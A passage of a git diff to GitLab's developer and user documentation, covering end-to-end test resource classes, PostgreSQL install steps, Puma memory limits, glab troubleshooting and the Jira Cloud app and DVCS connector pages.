+- [`master`](http://gitlab-qa-allure-reports.s3.amazonaws.com/e2e-package-and-test/master/index.html)
+- [`staging-full`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-full/master/index.html)
+- [`staging-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-sanity/master/index.html)
+- [`staging-sanity-no-admin`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-sanity-no-admin/master/index.html)
+- [`canary-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/canary-sanity/master/index.html)
+- [`production`](http://gitlab-qa-allure-reports.s3.amazonaws.com/production-full/master/index.html)
+- [`production-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/production-sanity/master/index.html)
## How do you run the tests?
diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md
index 6e29e9b9dff..37d354bf60c 100644
--- a/doc/development/testing_guide/end_to_end/resources.md
+++ b/doc/development/testing_guide/end_to_end/resources.md
@@ -8,17 +8,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Resources are primarily created using Browser UI steps, but can also be created via the API or the CLI.
-A typical resource class is used to create a new resource that can be used in a single test. However, several tests can
-end up creating the same kind of resource and use it in ways that mean it could have been
-used by more than one test. Creating a new resource each time is not efficient. Therefore, we can also create reusable
-resources that are created once and can then be used by many tests.
-
-In the following section the content focuses on single-use resources, however it also applies to reusable resources.
-Information specific to [reusable resources is detailed below](#reusable-resources).
-
## How to properly implement a resource class?
-All non-reusable resource classes should inherit from `Resource::Base`.
+All resource classes should inherit from `Resource::Base`.
There is only one mandatory method to implement to define a resource class.
This is the `#fabricate!` method, which is used to build the resource via the
@@ -398,176 +390,6 @@ end
In this case, the result is similar to calling `Resource::Shirt.fabricate!`.
-## Reusable resources
-
-Reusable resources are created by the first test that needs a particular kind of resource, and then any test that needs
-the same kind of resource can reuse it instead of creating a new one.
-
-The `ReusableProject` resource is an example of this class:
-
-```ruby
-module QA
- module Resource
- class ReusableProject < Project # A reusable resource inherits from the resource class that we want to be able to reuse.
- prepend Reusable # The Reusable module mixes in some methods that help implement reuse.
-
- def initialize
- super # A ReusableProject is a Project so it should be initialized as one.
-
- # Some Project attributes aren't valid and need to be overridden. For example, a ReusableProject keeps its name once it's created,
- # so we don't add a random string to the name specified.
- @add_name_uuid = false
-
- # It has a default name, and a different name can be specified when a resource is first created. However, the same name must be
- # provided any time that instance of the resource is used.
- @name = "reusable_project"
-
- # Several instances of a ReusableProject can exists as long as each is identified via a unique value for `reuse_as`.
- @reuse_as = :default_project
- end
-
- # All reusable resource classes must validate that an instance meets the conditions that allow reuse. For example,
- # by confirming that the name specified for the instance is valid and doesn't conflict with other instances.
- def validate_reuse_preconditions
- raise ResourceReuseError unless reused_name_valid?
- end
-
- # Internally we identify an instance of a reusable resource by a unique value of `@reuse_as`, but in GitLab the
- # resource has one or more attributes that must also be unique. This method lists those attributes and allows the
- # test framework to check that each instance of a reusable resource has values that match the associated values
- # in Gitlab.
- def unique_identifiers
- [:name, :path]
- end
- end
- end
-end
-```
-
-Reusable resources aren't removed immediately when `remove_via_api!` is called. Instead, they're removed after the test
-suite completes. To do so each class must be registered with `QA::Resource::ReusableCollection` in `qa/spec/spec_helper.rb`
-as in the example below. Registration allows `QA::Resource::ReusableCollection` to keep track of each instance of each
-registered class, and to delete them all in the `config.after(:suite)` hook.
-
-```ruby
-config.before(:suite) do |suite|
- QA::Resource::ReusableCollection.register_resource_classes do |collection|
- QA::Resource::ReusableProject.register(collection)
- end
-end
-```
-
-Consider some examples of how a reusable resource is used:
-
-```ruby
-# This will create a project.
-default_project = Resource::ReusableProject.fabricate_via_api!
-default_project.name # => "reusable_project"
-default_project.reuse_as # => :default_project
-```
-
-Then in another test we could reuse the project:
-
-```ruby
-# This will fetch the project created above rather than creating a new one.
-default_project_again = Resource::ReusableProject.fabricate_via_api!
-default_project_again.name # => "reusable_project"
-default_project_again.reuse_as # => :default_project
-```
-
-We can also create another project that we want to change in a way that might not be suitable for tests using the
-default project:
-
-```ruby
-project_with_member = Resource::ReusableProject.fabricate_via_api! do |project|
- project.name = "project-with-member"
- project.reuse_as = :project_with_member
-end
-
-project_with_member.add_member(user)
-```
-
-Another test can reuse that project:
-
-```ruby
-project_still_has_member = Resource::ReusableProject.fabricate_via_api! do |project|
- project.name = "project-with-member"
- project.reuse_as = :project_with_member
-end
-
-expect(project_still_has_member).to have_member(user)
-```
-
-However, if we don't provide the name again an error will be raised:
-
-```ruby
-Resource::ReusableProject.fabricate_via_api! do |project|
- project.reuse_as = :project_with_member
-end
-
-# => ResourceReuseError will be raised because it will try to use the default name, "reusable_project", which doesn't
-# match the name specified when the project was first fabricated.
-```
-
-### Validating reusable resources
-
-Reusable resources can speed up test suites by avoiding the cost of creating the same resource again and again. However,
-that can cause problems if a test makes changes to a resource that prevent it from being reused as expected by later
-tests. That can lead to order-dependent test failures that can be difficult to troubleshoot.
-
-For example, the default project created by `QA::Resource::ReusableProject` has `auto_devops_enabled` set to `false`
-(inherited from `QA::Resource::Project`). If a test reuses that project and enables Auto DevOps, subsequent tests that reuse
-the project will fail if they expect Auto DevOps to be disabled.
-
-We try to avoid that kind of trouble by validating reusable resources after a test suite. If the environment variable
-`QA_VALIDATE_RESOURCE_REUSE` is set to `true` the test framework will check each reusable resource to verify that none
-of the attributes they were created with have been changed. It does that by creating a new resource using the same
-attributes that were used to create the original resource. It then compares the new resource to the original and raises
-an error if any attributes don't match.
-
-#### Implementation
-
-When you implement a new type of reusable resource there are two `private` methods you must implement so the resource
-can be validated. They are:
-
-- `reference_resource`: creates a new instance of the resource that can be compared with the one that was used during the tests.
-- `unique_identifiers`: returns an array of attributes that allow the resource to be identified (for example, name) and that are therefore
-expected to differ when comparing the reference resource with the resource reused in the tests.
-
-The following example shows the implementation of those two methods in `QA::Resource::ReusableProject`.
-
-```ruby
-# Creates a new project that can be compared to a reused project, using the attributes of the original.
-#
-# @return [QA::Resource] a new instance of Resource::ReusableProject that should be a copy of the original resource
-def reference_resource
- # These are the attributes that the reused resource was created with
- attributes = self.class.resources[reuse_as][:attributes]
-
- # Two projects can't have the same path, and since we typically use the same value for the name and path, we assign
- # a unique name and path to the reference resource.
- name = "reference_resource_#{SecureRandom.hex(8)}_for_#{attributes.delete(:name)}"
-
- Project.fabricate_via_api! do |project|
- self.class.resources[reuse_as][:attributes].each do |attribute_name, attribute_value|
- project.instance_variable_set("@#{attribute_name}", attribute_value) if attribute_value
- end
- project.name = name
- project.path = name
- project.path_with_namespace = "#{project.group.full_path}/#{project.name}"
- end
-end
-
-# The attributes of the resource that should be the same whenever a test wants to reuse a project.
-#
-# @return [Array<Symbol>] the attribute names.
-def unique_identifiers
- # As noted above, path must be unique, and since we typically use the same value for both, we treat name and path
- # as unique. These attributes are ignored when we compare the reference and reused resources.
- [:name, :path]
-end
-```
-
### Resources cleanup
We have a mechanism to [collect](https://gitlab.com/gitlab-org/gitlab/-/blob/44345381e89d6bbd440f7b4c680d03e8b75b86de/qa/qa/tools/test_resource_data_processor.rb#L32)
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 2fa5fdeab7d..85d807eceb1 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -1368,7 +1368,7 @@ You can also prefix this command with `WEBDRIVER_HEADLESS=0` which will run the
```ruby
require 'spec_helper'
```
-
+
Import any other relevant module.
1. Create a global scope for RSpec to define our tests, just like what we do in jest with the initial describe block.
@@ -1414,7 +1414,7 @@ Most feature tests at least require you to create a user, because you want to be
This creates a variable that holds the newly created user and we can use `create` because we imported the `spec_helper`.
-However, we have not done anything with this user yet because it's just a variable. So, in the `before do` block of the spec, we could sign in with the user so that every spec starts with a signed in user.
+However, we have not done anything with this user yet because it's just a variable. So, in the `before do` block of the spec, we could sign in with the user so that every spec starts with an authenticated user.
```ruby
let(:user) { create(:user) }
diff --git a/doc/development/testing_guide/img/testing_triangle.png b/doc/development/testing_guide/img/testing_triangle.png
index 3ac4955eaff..747bad1d52d 100644
--- a/doc/development/testing_guide/img/testing_triangle.png
+++ b/doc/development/testing_guide/img/testing_triangle.png
Binary files differ
diff --git a/doc/development/testing_guide/testing_migrations_guide.md b/doc/development/testing_guide/testing_migrations_guide.md
index b276a7e2a3a..1b1fdcca003 100644
--- a/doc/development/testing_guide/testing_migrations_guide.md
+++ b/doc/development/testing_guide/testing_migrations_guide.md
@@ -17,6 +17,8 @@ a database schema.
- If your migration is a data migration then it **must** have a migration test.
- Other migrations may have a migration test if necessary.
+We don't enforce tests on post migrations that only perform schema changes.
+
## How does it work?
Adding a `:migration` tag to a test signature enables some custom RSpec
diff --git a/doc/development/utilities.md b/doc/development/utilities.md
index 58954101890..343d03b9d68 100644
--- a/doc/development/utilities.md
+++ b/doc/development/utilities.md
@@ -188,7 +188,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/maste
def enabled?
Feature.enabled?(:some_feature)
end
- strong_memoize_attr :enabled?, :enabled
+ strong_memoize_attr :enabled?
end
```
diff --git a/doc/development/value_stream_analytics.md b/doc/development/value_stream_analytics.md
index 2d5f33b5dae..33a6744d5cd 100644
--- a/doc/development/value_stream_analytics.md
+++ b/doc/development/value_stream_analytics.md
@@ -261,7 +261,7 @@ considered legacy, which will be phased out at some point.
- Rails Controller (`Analytics::CycleAnalytics` module): Value stream analytics exposes its data via JSON endpoints, implemented within the `analytics` workspace. Configuring the stages are also implements JSON endpoints (CRUD).
- Services (`Analytics::CycleAnalytics` module): All `Stage` related actions are delegated to respective service objects.
-- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `GroupStage`.
+- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `Stage`.
- Feature classes (`Gitlab::Analytics::CycleAnalytics` module):
- Responsible for composing queries and define feature specific business logic.
- `DataCollector`, `Event`, `StageEvents`, etc.
diff --git a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md
index 5bcadc6f39b..3d1286a5809 100644
--- a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md
+++ b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md
@@ -273,7 +273,7 @@ attributes.
- `stages` - Load the stages for the currently selected value stream.
- `median` - For each stage, request the median duration.
- `count` - For each stage, request the number of items in the stage (this is a
-[limit count](../merge_request_performance_guidelines.md#badge-counters), maximum 1000 rows).
+[limit count](../merge_request_concepts/performance.md#badge-counters), maximum 1000 rows).
- `average_duration_chart` - Data for the duration chart.
- `summary`, `time_summary` - Top-level aggregations, most of the metrics are using different APIs/
finders and not invoking the aggregated backend.
diff --git a/doc/development/wikis.md b/doc/development/wikis.md
index 67dc567cc5f..4541b6cca66 100644
--- a/doc/development/wikis.md
+++ b/doc/development/wikis.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
description: "GitLab's development guidelines for Wikis"
---
-# Wikis development guide **(FREE)**
+# Wikis development guide
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227027) in GitLab 13.5.
diff --git a/doc/development/workspace/index.md b/doc/development/workspace/index.md
index f4738e3fc31..0e0b6943a0b 100644
--- a/doc/development/workspace/index.md
+++ b/doc/development/workspace/index.md
@@ -4,19 +4,19 @@ type: index, dev
stage: none
group: Development
info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments-to-development-guidelines"
-description: "Development Guidelines: learn about workspace when developing GitLab."
+description: "Development Guidelines: learn about organization when developing GitLab."
---
-# Workspace
+# Organization
-The [Workspace initiative](../../user/workspace/index.md) focuses on reaching feature parity between
+The [Organization initiative](../../user/workspace/index.md) focuses on reaching feature parity between
SaaS and self-managed installations.
## Consolidate groups and projects
- [Architecture blueprint](../../architecture/blueprints/consolidating_groups_and_projects/index.md)
-One facet of the workspace initiative is to consolidate groups and projects,
+One facet of the Organization initiative is to consolidate groups and projects,
addressing the feature disparity between them. Some features, such as epics, are
only available at the group level. Some features, such as issues, are only available
at the project level. Other features, such as milestones, are available to both groups
@@ -87,7 +87,7 @@ After this work completes, we must migrate data as described in
### Phase 2
- [Phase 2 epic](https://gitlab.com/groups/gitlab-org/-/epics/6768).
-- **Goal**: Make `ProjectNamespace` the front entity to interact with instead of `Project`.
+- **Goal**: Link `ProjectNamespace` to other entities on the database level.
In this phase:
@@ -97,6 +97,10 @@ In this phase:
- Raise awareness to avoid regressions, and conflicting or duplicate work that
can be dealt with before phase 3.
+### Phase 3
+
+- [Phase 3 epic](https://gitlab.com/groups/gitlab-org/-/epics/6585).
+- **Goal**: Achieve feature parity between the namespace types.
Problems to solve as part of this phase:
- Routes handling through `ProjectNamespace` rather than `Project`.
@@ -105,16 +109,51 @@ Problems to solve as part of this phase:
- Import and export.
- Other interactions between project namespace and project models.
-### Phase 3
-
-- [Phase 3 epic](https://gitlab.com/groups/gitlab-org/-/epics/6585).
-- **Goal**: Feature parity between the namespace types.
-
Phase 3 is when the active migration of features from `Project` to `ProjectNamespace`,
or directly to `Namespace`, happens.
+### How to plan features that interact with Group and ProjectNamespace
+
+As of now, every Project in the system has a record in the `namespaces` table. This makes it possible to
+use common interface to create features that are shared between Groups and Projects. Shared behavior can be added using
+a concerns mechanism. Because the `Namespace` model is responsible for `UserNamespace` methods as well, it is discouraged
+to use the `Namespace` model for shared behavior for Projects and Groups.
+
+#### Resource-based features
+
+To migrate resource-based features, existing functionality will need to be supported. This can be achieved in two Phases.
+
+**Phase 1 - Setup**
+
+- Link into the namespaces table
+ - Add a column to the table
+ - For example, in issues a `project id` points to the projects table. We need to establish a link to the `namespaces` table.
+ - Modify code so that any new record already has the correct data in it
+ - Backfill
+
+**Phase 2 - Prerequisite work**
+
+- Investigate the permission model as well as any performance concerns related to that.
+ - Permissions need to be checked and kept in place.
+- Investigate what other models need to support namespaces for functionality dependent on features you migrate in Phase 1.
+- Adjust CRUD services and APIs (REST and GraphQL) to point to the new column you added in Phase 1.
+- Consider performance when fetching resources.
+
+Introducing new functionality is very much dependent on every single team and feature.
+
+#### Settings-related features
+
+Right now, cascading settings are available for `NamespaceSettings`. By creating `ProjectNamespace`,
+we can use this framework to make sure that some settings are applicable on the project level as well.
+
+When working on settings, we need to make sure that:
+
+- They are not used in `join` queries or modify those queries.
+- Updating settings is taken into consideration.
+- If we want to move from project to project namespace, we follow a similar database process to the one described in [Phase 1](#phase-1).
+
## Related topics
- [Consolidating groups and projects](../../architecture/blueprints/consolidating_groups_and_projects/index.md)
architecture documentation
-- [Workspace user documentation](../../user/workspace/index.md)
+- [Organization user documentation](../../user/workspace/index.md)
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index 61b06fb106a..addeb4bee3a 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -211,7 +211,7 @@ The remote tells Git where to push or pull from.
To add a remote to your local copy:
-1. In GitLab, [create a project](../user/project/working_with_projects.md#create-a-project) to hold your files.
+1. In GitLab, [create a project](../user/project/index.md#create-a-project) to hold your files.
1. Visit this project's homepage, scroll down to **Push an existing folder**, and copy the command that starts with `git remote add`.
1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>:
diff --git a/doc/install/installation.md b/doc/install/installation.md
index 1191b32181e..68c2b663566 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -50,7 +50,7 @@ If the highest number stable branch is unclear, check the [GitLab blog](https://
| ------------------ | --------------- |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [Ruby](#2-ruby) | `2.7` | From GitLab 13.6, Ruby 2.7 is required. Ruby 3.0 is not supported yet (see [the relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/5149) for the current status). You must use the standard MRI implementation of Ruby. We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab needs several Gems that have native extensions. |
| [Go](#3-go) | `1.18` | From GitLab 15.6, Go 1.18 or later is required. |
-| [Git](#git) | `2.37.x` | From GitLab 15.6, Git 2.37.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). |
+| [Git](#git) | `2.38.x` | From GitLab 15.8, Git 2.38.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). |
| [Node.js](#4-node) | `16.15.0` | From GitLab 15.7, Node.js 16.15.0 or later is required. |
## GitLab directory structure
@@ -344,6 +344,12 @@ In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later
sudo -u postgres psql -d template1 -c "CREATE EXTENSION IF NOT EXISTS btree_gist;"
```
+1. Create the `plpgsql` extension:
+
+ ```shell
+ sudo -u postgres psql -d template1 -c "CREATE EXTENSION IF NOT EXISTS plpgsql;"
+ ```
+
1. Create the GitLab production database and grant all privileges on the database:
```shell
@@ -392,6 +398,24 @@ In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later
(1 row)
```
+1. Check if the `plpgsql` extension is enabled:
+
+ ```sql
+ SELECT true AS enabled
+ FROM pg_available_extensions
+ WHERE name = 'plpgsql'
+ AND installed_version IS NOT NULL;
+ ```
+
+ If the extension is enabled this produces the following output:
+
+ ```plaintext
+ enabled
+ ---------
+ t
+ (1 row)
+ ```
+
1. Quit the database session:
```shell
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 7fcb371c178..70a9358ff7f 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -120,6 +120,18 @@ test based on those. We try to be compatible with most external (not managed by
Omnibus GitLab) databases (for example, [AWS Relational Database Service (RDS)](https://aws.amazon.com/rds/)),
but we can't guarantee compatibility.
+#### Operating system locale compatibility and silent index corruption
+
+Changes to locale data in `glibc` means that PostgreSQL database files are not fully compatible
+between different OS releases.
+
+To avoid index corruption, [check for locale compatibility](../administration/geo/replication/troubleshooting.md#check-os-locale-data-compatibility)
+when:
+
+- Moving binary PostgreSQL data between servers.
+- Upgrading your Linux distribution.
+- Updating or changing third party container images.
+
#### Gitaly Cluster database requirements
[Read more in the Gitaly Cluster documentation](../administration/gitaly/praefect.md).
@@ -235,8 +247,8 @@ works.
### Puma per worker maximum memory
-By default, each Puma worker is limited to 1024 MB of memory.
-This setting [can be adjusted](../administration/operations/puma.md#change-the-memory-limit-setting) and should be considered
+By default, each Puma worker is limited to 1.2 GB of memory.
+You can [adjust this memory setting](../administration/operations/puma.md#reducing-memory-use) and should do so
if you must increase the number of Puma workers.
## Redis and Sidekiq
diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md
index 1b0a1e50445..0ee5b70c958 100644
--- a/doc/integration/gitlab.md
+++ b/doc/integration/gitlab.md
@@ -77,8 +77,8 @@ GitLab.com generates an application ID and secret key for you to use.
label: "Provider name", # optional label for login button, defaults to "GitLab.com"
app_id: "YOUR_APP_ID",
app_secret: "YOUR_APP_SECRET",
- args: { scope: "read_user" # optional: defaults to the scopes of the application
- , client_options: { site: "https://gitlab.example.com" } }
+ args: { scope: "read_user", # optional: defaults to the scopes of the application
+ client_options: { site: "https://gitlab.example.com" } }
}
]
```
diff --git a/doc/integration/glab/index.md b/doc/integration/glab/index.md
index 3951f38dfab..e71f49905c8 100644
--- a/doc/integration/glab/index.md
+++ b/doc/integration/glab/index.md
@@ -78,3 +78,27 @@ to send us feedback.
- [Documentation](https://gitlab.com/gitlab-org/cli/-/tree/main/docs/source)
- The extension source code is available in the
[`cli`](https://gitlab.com/gitlab-org/cli/) project.
+
+## Troubleshooting
+
+### `glab completion` commands fail when using the 1Password shell plugin
+
+The [1Password shell plugin](https://developer.1password.com/docs/cli/shell-plugins/gitlab/)
+adds the alias `glab='op plugin run -- glab'`, which can interfere with the `glab completion`
+command. If your `glab completion` commands fail, configure your shell to prevent expanding aliases
+before performing completions:
+
+- For Zsh, edit your `~/.zshrc` file and add this line:
+
+ ```plaintext
+ setopt completealiases
+ ```
+
+- For Bash, edit your `~/.bashrc` file and add this line:
+
+ ```plaintext
+ complete -F _functionname glab
+ ```
+
+For more information, see [issue 122](https://github.com/1Password/shell-plugins/issues/122)
+for the 1Password shell plugin.
diff --git a/doc/integration/google.md b/doc/integration/google.md
index 3d174e56bf3..947bf0303be 100644
--- a/doc/integration/google.md
+++ b/doc/integration/google.md
@@ -51,7 +51,7 @@ In Google's side:
1. Go to the [Google API Console](https://console.developers.google.com/apis/dashboard).
1. Select **ENABLE APIS AND SERVICES** at the top of the page.
- 1. Find each of the above APIs. On the page for the API, press the **ENABLE** button.
+ 1. Find each of the above APIs. On the page for the API, select **ENABLE**.
It may take a few minutes for the API to be fully functional.
On your GitLab server:
diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md
index 513877a7b71..81ef5a21943 100644
--- a/doc/integration/jira/connect-app.md
+++ b/doc/integration/jira/connect-app.md
@@ -16,15 +16,15 @@ the GitLab.com for Jira Cloud app.
## Install the GitLab.com for Jira Cloud app **(FREE SAAS)**
If you use GitLab.com and Jira Cloud, you can install the GitLab.com for Jira Cloud app.
-If you do not use both of these environments, use the [Jira DVCS Connector](dvcs.md) or
+If you do not use both of these environments, use the [Jira DVCS Connector](dvcs/index.md) or
[install GitLab.com for Jira Cloud app for self-managed instances](#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances).
We recommend the GitLab.com for Jira Cloud app, because data is
synchronized in real time. The DVCS connector updates data only once per hour.
-The user configuring the GitLab.com for Jira Cloud app must have
+To configure the GitLab.com for Jira Cloud app, you must have
at least the Maintainer role in the GitLab.com namespace.
-This integration method supports [Smart Commits](dvcs.md#smart-commits).
+This integration method supports [Smart Commits](dvcs/index.md#smart-commits).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For a walkthrough of the integration with GitLab.com for Jira Cloud app, watch
@@ -41,14 +41,15 @@ To install the GitLab.com for Jira Cloud app:
This page is always available under **Jira Settings > Apps > Manage apps**.
![Start GitLab.com app configuration on Jira Cloud](img/jira_dev_panel_setup_com_2.png)
-1. If not already signed in to GitLab.com, you must sign in as a user with
- the Maintainer role to add namespaces.
+1. To add namespaces, ensure you're signed in to GitLab.com
+ as a user with at least the Maintainer role.
![Sign in to GitLab.com in GitLab.com for Jira Cloud app](img/jira_dev_panel_setup_com_3_v13_9.png)
1. To open the list of available namespaces, select **Add namespace**.
-1. Identify the namespace you want to link, and select **Link**. Only Jira site
- administrators are permitted to add or remove namespaces for an installation.
+1. Identify the namespace you want to link, and select **Link**.
+ - You must have at least the Maintainer role for the namespace.
+ - Only Jira site administrators can add or remove namespaces for an installation.
![Link namespace in GitLab.com for Jira Cloud app](img/jira_dev_panel_setup_com_4_v13_9.png)
@@ -74,14 +75,7 @@ If the app requires additional permissions, [the update must first be manually a
## Connect the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)**
-> - Introduced in GitLab 15.6 [with flags](../../administration/feature_flags.md) named [`jira_connect_oauth_self_managed_setting`](https://gitlab.com/gitlab-org/gitlab/-/issues/377679), [`jira_connect_oauth`](https://gitlab.com/gitlab-org/gitlab/-/issues/355048), and [`jira_connect_oauth_self_managed`](https://gitlab.com/gitlab-org/gitlab/-/issues/359940). Disabled by default.
-> - Feature flag `jira_connect_oauth_self_managed_setting` [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105070) in GitLab 15.7.
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available,
-ask an administrator to [enable the feature flags](../../administration/feature_flags.md) named
-`jira_connect_oauth` and `jira_connect_oauth_self_managed`. On GitLab.com, this feature
-is not available. The feature is not ready for production use.
+> Introduced in GitLab 15.7.
Prerequisites:
@@ -92,6 +86,8 @@ Prerequisites:
You can link self-managed instances after installing the GitLab.com for Jira Cloud app from the marketplace.
Jira apps can only link to one URL per marketplace listing. The official listing links to GitLab.com.
+It's not possible to create branches from Jira for self-managed instances.
+
### Set up your instance
To set up your self-managed instance for the GitLab.com for Jira Cloud app in GitLab 15.7 or later:
@@ -187,9 +183,9 @@ NOTE:
This method uses [automated updates](#update-the-gitlabcom-for-jira-cloud-app)
the same way as our GitLab.com Marketplace listing.
-## Troubleshoot GitLab.com for Jira Cloud app
+## Troubleshooting
-### Browser displays sign-in message when already signed in
+### Browser displays a sign-in message when already signed in
You might get the following message prompting you to sign in to GitLab.com
when you're already signed in:
@@ -198,8 +194,25 @@ when you're already signed in:
You need to sign in or sign up before continuing.
```
-GitLab.com for Jira Cloud app uses an iframe to add namespaces on the
+The GitLab.com for Jira Cloud app uses an iframe to add namespaces on the
settings page. Some browsers block cross-site cookies, which can lead to this issue.
-To resolve this issue, use [Firefox](https://www.mozilla.org/en-US/firefox/),
-[Google Chrome](https://www.google.com/chrome/), or enable cross-site cookies in your browser.
+To resolve this issue, use either [Firefox](https://www.mozilla.org/en-US/firefox/) or
+[Chrome](https://www.google.com/chrome/) or enable cross-site cookies in your browser.
+
+### Manual installation fails
+
+You might get an error if you have installed the GitLab.com for Jira Cloud app from the official marketplace listing and replaced it with manual installation. To resolve this issue, disable the **Jira Connect Proxy URL** setting.
+
+- In GitLab 15.7:
+
+ 1. Open a [Rails console](../../administration/operations/rails_console.md#starting-a-rails-console-session).
+ 1. Execute `ApplicationSetting.current_without_cache.update(jira_connect_proxy_url: nil)`.
+
+- In GitLab 15.8 and later:
+
+ 1. On the top bar, select **Main menu > Admin**.
+ 1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`).
+ 1. Expand the **GitLab for Jira App** section.
+ 1. Clear the **Jira Connect Proxy URL** text box.
+ 1. Select **Save changes**.
diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md
index bdb79d65d5e..ee671dde3a8 100644
--- a/doc/integration/jira/development_panel.md
+++ b/doc/integration/jira/development_panel.md
@@ -69,8 +69,8 @@ To simplify administration, we recommend that a GitLab group maintainer or group
| Jira usage | GitLab.com customers need | GitLab self-managed customers need |
|------------|---------------------------|------------------------------------|
-| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab.com and Jira. For more information, see the documentation for the [GitLab.com for Jira Cloud app](connect-app.md). | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab.com for Jira Cloud app for self-managed instances](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances) for more information. |
-| Your own server | The [Jira DVCS (distributed version control system) connector](dvcs.md). This syncs data hourly. | The [Jira DVCS (distributed version control system) connector](dvcs.md). This syncs data hourly. |
+| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This method offers real-time sync between GitLab.com and Jira. For more information, see [GitLab.com for Jira Cloud app](connect-app.md). | The GitLab.com for Jira Cloud app [using a workaround](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). When the `jira_connect_oauth_self_managed` feature flag is enabled, you can install the app from the [Atlassian Marketplace](https://marketplace.atlassian.com/). For more information, see [Connect the GitLab.com for Jira Cloud app for self-managed instances](connect-app.md#connect-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). |
+| Your own server | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. |
Each GitLab project can be configured to connect to an entire Jira instance. That means after
configuration, one GitLab project can interact with all Jira projects in that instance. For:
diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md
deleted file mode 100644
index 982c8203904..00000000000
--- a/doc/integration/jira/dvcs.md
+++ /dev/null
@@ -1,286 +0,0 @@
----
-stage: Manage
-group: Integrations
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
----
-
-# Jira DVCS connector **(FREE)**
-
-Use the Jira DVCS (distributed version control system) connector if you self-host
-your Jira instance, and you want to sync information
-between GitLab and Jira. If you use Jira Cloud, you should use the
-[GitLab.com for Jira Cloud app](connect-app.md) unless you specifically need the
-DVCS connector.
-
-When you configure the Jira DVCS connector, make sure your GitLab and Jira instances
-are accessible.
-
-- **Self-managed GitLab**: Your GitLab instance must be accessible by Jira.
-- **Jira Server**: Your network must allow access to your instance.
-- **Jira Cloud**: Your instance must be accessible through the internet.
-
-NOTE:
-When using GitLab 15.0 and later (including GitLab.com) with Jira Server, you might experience a [session token bug in Jira](https://jira.atlassian.com/browse/JSWSERVER-21389). As a workaround, ensure Jira Server is version 9.1.0 and later or 8.20.11 and later.
-
-## Smart Commits
-
-When connecting GitLab with Jira with DVCS, you can process your Jira issues using
-special commands, called
-[Smart Commits](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/),
-in your commit messages. With Smart Commits, you can:
-
-- Comment on issues.
-- Record time-tracking information against issues.
-- Transition issues to any status defined in the Jira project's workflow.
-
-Commands must be in the first line of the commit message. The
-[Jira Software documentation](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/)
